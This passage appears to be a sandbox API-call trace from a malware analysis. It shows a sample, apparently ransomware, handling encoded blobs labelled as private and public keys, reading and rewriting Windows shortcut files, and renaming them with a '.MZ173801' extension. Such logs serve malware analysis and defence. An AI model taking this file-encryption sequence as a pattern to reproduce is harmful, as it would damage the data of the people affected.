lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.916] GetCurrentThreadId () returned 0xab4 [0213.916] GetCurrentThreadId () returned 0xab4 [0213.916] GetCurrentThreadId () returned 0xab4 [0213.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.917] GetCurrentThreadId () returned 0xab4 [0213.917] GetCurrentThreadId () returned 0xab4 [0213.917] GetCurrentThreadId () returned 0xab4 [0213.917] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.917] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.917] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.917] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x486 [0213.917] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.917] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x486, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x486, lpOverlapped=0x0) returned 1 [0214.138] CloseHandle (hObject=0x330) returned 1 [0214.138] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.140] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x486, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x486, lpOverlapped=0x0) returned 1 [0214.141] CloseHandle (hObject=0x330) returned 1 [0214.141] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk.mz173801")) returned 1 [0214.142] GetCurrentThreadId () returned 0xab4 [0214.142] GetCurrentThreadId () returned 0xab4 [0214.142] GetCurrentThreadId () returned 0xab4 [0214.142] GetCurrentThreadId () returned 0xab4 [0214.142] GetCurrentThreadId () returned 0xab4 [0214.142] GetCurrentThreadId () returned 0xab4 [0214.142] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b498035, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b498035, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3b498035, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="System Configuration.lnk", cAlternateFileName="")) returned 1 [0214.142] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.142] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.142] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b498035, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b498035, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3b498035, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45c)) returned 1 [0214.142] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk")) returned 0x20 [0214.142] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk", dwFileAttributes=0x80) returned 1 [0214.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0214.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 